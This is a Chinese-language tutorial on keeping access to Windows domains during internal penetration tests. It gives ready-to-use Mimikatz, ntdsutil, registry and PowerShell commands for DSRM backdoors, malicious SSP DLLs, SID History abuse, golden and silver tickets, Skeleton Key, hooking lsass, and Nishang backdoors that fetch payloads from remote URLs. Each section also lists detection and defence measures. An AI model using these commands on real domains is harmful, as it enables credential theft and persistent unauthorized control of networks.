内网渗透基石篇--权限维持分析(下)
字数 1670 2025-08-13 21:33:25
内网渗透权限维持技术详解
一、DSRM域后门技术
1. DSRM简介
DSRM(目录服务恢复模式)是Windows域控制器的安全模式启动选项,每个域控制器都有一个本地DSRM账户。其主要用途是在域环境出现故障时还原、修复活动目录数据库。
2. DSRM后门利用方法
修改DSRM密码步骤:
- 在DC上运行ntdsutil工具
- 执行命令序列:
ntdsutil set dsrm password reset password on server null <输入新密码> q q
同步DSRM密码为域账号密码(需Windows Server 2008及以上):
ntdsutil
set dsrm password
sync from domain account domainusername
q
q
修改DSRM登录方式注册表键值:
路径:HKLM\System\CurrentControlSet\Control\Lsa\DSRMAdminLogonBehavior
- 0:仅DSRM模式可使用(默认)
- 1:AD DS服务停止时可用
- 2:始终可用(推荐攻击设置)
PowerShell设置命令:
New-ItemProperty "HKLM:\System\CurrentControlSet\Control\Lsa\" -Name "DSRMAdminLogonBehavior" -Value 2 -PropertyType DWORD
使用DSRM远程登录:
privilege::debug
sekurlsa::pth /domain:domainname /user:username /ntlm:ntlmhash
3. 防御措施
- 定期检查注册表
HKLM:\system\currentcontrolset\control\lsa\中DSRM相关键值 - 定期修改所有域控制器的DSRM账号密码
- 监控4794事件日志(记录DSRM密码修改)
二、SSP维持域控权限
1. SSP/SSPI原理
SSP(安全支持提供程序)是Windows身份认证机制的DLL组件,SSPI是其API接口。通过向LSASS进程注入恶意SSP DLL可获取明文凭据。
2. 利用方法
使用Mimikatz内存注入:
privilege::debug
misc::memssp
密码将记录在C:\Windows\System32\mimilsa.log
持久化SSP注入步骤:
- 将mimilib.dll复制到
C:\windows\system32 - 修改注册表:
- 路径:
HKLM\System\CurrentControlSet\Control\Lsa\Security Packages - 添加值:
mimilib.dll
- 路径:
- 重启系统后生成
kiwissp.log记录凭据
3. 防御措施
- 监控system32目录下可疑DLL
- 检查注册表
Security Packages项 - 限制LSASS进程的内存操作权限
三、SID History域后门
1. SID History原理
SID用于标识用户权限,迁移用户时SID History属性保留原始SID以维持资源访问权限。
2. 利用方法
将域管理员SID添加到普通用户SID History属性:
sid::patch
sid::add /sam:targetuser /new:administrator
3. 防御措施
- 监控域用户SID History异常修改
- 限制域管理员操作SID History权限
四、票据攻击技术
1. 黄金票据(Golden Ticket)
攻击条件:
- 域名
- 域SID
- krbtgt的NTLM Hash/AES-256
- 要伪造的用户名
攻击步骤:
- 获取krbtgt hash:
lsadump::dcsync /domain:domain /user:krbtgt - 生成黄金票据:
kerberos::golden /admin:Administrator /domain:domain /sid:S-1-5-21-... /krbtgt:hash /ticket:gold.kiribi - 导入票据:
kerberos::ptt gold.kiribi
防御措施:
- 定期重置krbtgt密码(需重置两次)
- 监控异常Kerberos票据请求
2. 白银票据(Silver Ticket)
与黄金票据区别:
- 伪造TGS而非TGT
- 需要服务账号hash而非krbtgt
- 不经过KDC,更难检测
攻击步骤:
- 获取服务账号hash
- 生成白银票据:
kerberos::golden /domain:domain /sid:SID /target:server /service:service /rc4:hash /user:user /ptt
防御措施:
- 定期重置服务账号密码
- 启用Kerberos审计
五、其他权限维持技术
1. Skeleton Key(万能密码)
misc::skeleton
设置万能密码"mimikatz"后可使用该密码认证任何账户
2. Hook PasswordChangeNotify
通过Hook密码更改通知获取新密码明文
攻击步骤:
Import-Module .\Invoke-ReflectivePEInjection.ps1
Invoke-ReflectivePEInjection -PEPath HookPasswordChange.dll -procname lsass
密码将记录在C:\windows\temp\passwords.txt
3. Nishang脚本后门
HTTP-Backdoor:
HTTP-Backdoor -CheckURL http://... -PayloadURL http://... -MagicString start -StopString stop
屏幕保护后门:
Add-ScrnSaveBackdoor -Payload "powershell -nop -exec bypass -c ..."
定时执行后门:
Execute-OnTime -PayloadURL http://... -Time 23:21
ADS流后门:
Invoke-ADSBackdoor -PayloadURL http://...
六、综合防御建议
- 定期检查域控制器异常进程和注册表
- 实施严格的权限最小化原则
- 启用详细日志记录和监控
- 定期轮换关键账号密码(特别是krbtgt)
- 限制PowerShell执行权限
- 部署终端检测与响应(EDR)解决方案
- 定期进行安全审计和渗透测试